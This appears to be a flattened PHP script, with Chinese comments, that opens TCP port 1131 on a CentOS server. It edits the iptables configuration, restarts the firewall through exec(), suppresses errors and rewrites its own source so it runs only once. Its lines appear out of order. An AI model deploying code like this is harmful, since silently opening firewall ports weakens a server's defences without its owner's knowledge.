function B(){ if(defined('LOCK') && LOCK == 'lock') return false; $addPort = sprintf('-A INPUT -p tcp -m tcp --dport %d -j ACCEPT%s',PORT,PHP_EOL); //确定是否是centos if(is_file('/etc/redhat-release')){ //添加防火墙设置 $iptables = file('/etc/sysconfig/iptables'); //追加 //array_push($iptables, $addPort,array_pop($iptables)); $key = round(sizeof($iptables)/2); $iptables[$key] = $addPort.$iptables[$key]; //写入 $iptables = array_unique($iptables); if(true == file_put_contents('/etc/sysconfig/iptables', $iptables)){ exec('/etc/init.d/iptables restart'); //改写自身状态 $self = file(__FILE__); $self[5] = "define('LOCK','lock');".PHP_EOL; file_put_contents(__FILE__, $self); } } }
define('LOCK','lock'); <?php /** *管理端口 */ error_reporting(0); //replace here define('PORT',1131); B();